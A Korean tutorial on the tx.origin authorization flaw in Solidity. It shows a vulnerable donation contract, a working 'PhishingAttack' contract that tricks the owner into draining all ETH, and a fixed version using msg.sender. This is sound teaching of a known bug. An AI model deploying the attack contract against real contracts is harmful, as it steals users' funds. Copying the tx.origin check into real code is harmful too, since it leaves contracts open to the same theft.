번역 및 내용을 추가하여 작성하였습니다.
다음과 같은 능력을 키우고 싶어 시작하게 되었습니다.
부적절한 권한 부여는 Solidity - Smart Contract의 작동 방식에 대한 이해 부족으로 인해 발생하는 경우가 많으며, 이로 인해 Contract가 악용될 수 있습니다. 이 글에서는 부적절한 권한 부여가 있는 Smart Contract가 어떻게 피싱 될 수 있는지, 그리고 이를 방지하는 방법을 설명합니다.
아래 코드는 후원자가 buyMeACoffee()
함수를 호출하여 Contract Owner에게 ETH를 기부할 수 있는 “InsecureDontation” Contract를 보여줍니다.
Contract Owner는 collectEthers()
함수를 통해 기부된 ETH를 모을 수 있습니다. 그리고 getBalance()
를 통해 ETH를 확인할 수 있습니다.
pragma solidity 0.8.17;
contract InsecureDonation {
address public immutable owner;
constructor() {
owner = msg.sender;
}
function buyMeACoffee() external payable {
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
function collectEthers(address payable _to, uint256 _amount) external {
require(tx.origin == owner, "Not owner");
(bool success, ) = _to.call{value: _amount}("");
require(success, "Failed to send Ether");
}
}
collectEthers()
함수의 18번째 줄에서 부적절한 권한 부여 문제를 겪었습니다.require(tx.origin == owner, “Not owner”);
문이 사용됩니다.공격자는 “PhishingAttack” Contract를 배포하고 대상 Contract Owner를 미끼로 설득력있는 캠페인을 만듭니다.(3단계)
캠페인이 Contract Owner를 함정에 따뜨리면 Owner는 의심하지 않고 “PhishingAttack” Contract의 bait()
함수를 실행하게됩니다.(4단계)
그런 다음 bait()
함수는 “InsecureDonation” Contract의 collectEthers()
함수를 호출하여 잠긴 ETH를 훔치기 시작합니다.(5단계)
collectEthers()
함수는 “tx.origin” 매개변수를 사용하여 Contract Owner를 다른 Owner와 구별하므로, 트랜잭션의 발신자가 합벅적인 Contract Owner이기 때문에 인증 검사가 우회됩니다.(4단계 부터) 결과적으로 공격자는 잠긴 ETH를 모두 훔칠 수 있습니다(6단계)
아래 코드는 공격자가 설득력 있는 캠페인과 함께 이 Contract를 사용하여 “InsecureDonation” Contract에 잠겨있는 모든 ETH를 훔칠 수 있는 피싱 공격 Contract를 보여줍니다.
pragma solidity 0.8.17;
interface IDonation {
function collectEthers(address payable _to, uint256 _amount) external;
}
contract PhishingAttack {
IDonation public immutable donationContract;
constructor(IDonation _donationContract) {
donationContract = _donationContract;
}
receive() external payable {}
function bait() external {
donationContract.collectEthers(
payable(address(this)),
address(donationContract).balance
);
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
InsecureDonation을 악용하려면 공격자는 대상 Contract Owner를 속여
bait()
를 호출해야합니다.
pragma solidity 0.8.17;
contract FixedDonation {
address public immutable owner;
constructor() {
owner = msg.sender;
}
function buyMeACoffee() external payable {
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
function collectEthers(address payable _to, uint256 _amount) external {
require(msg.sender == owner, "Not owner"); // FIX: Use msg.sender instead of tx.origin
(bool success, ) = _to.call{value: _amount}("");
require(success, "Failed to send Ether");
}
}
tx.origin
대신 msg.sender
를 사용합니다.require(msg.sender == owner, “Not owner”)
문을 사용하면 collectEthers()
함수는 트랜잭션 발신자 대신 함수 호출자를 인증합니다.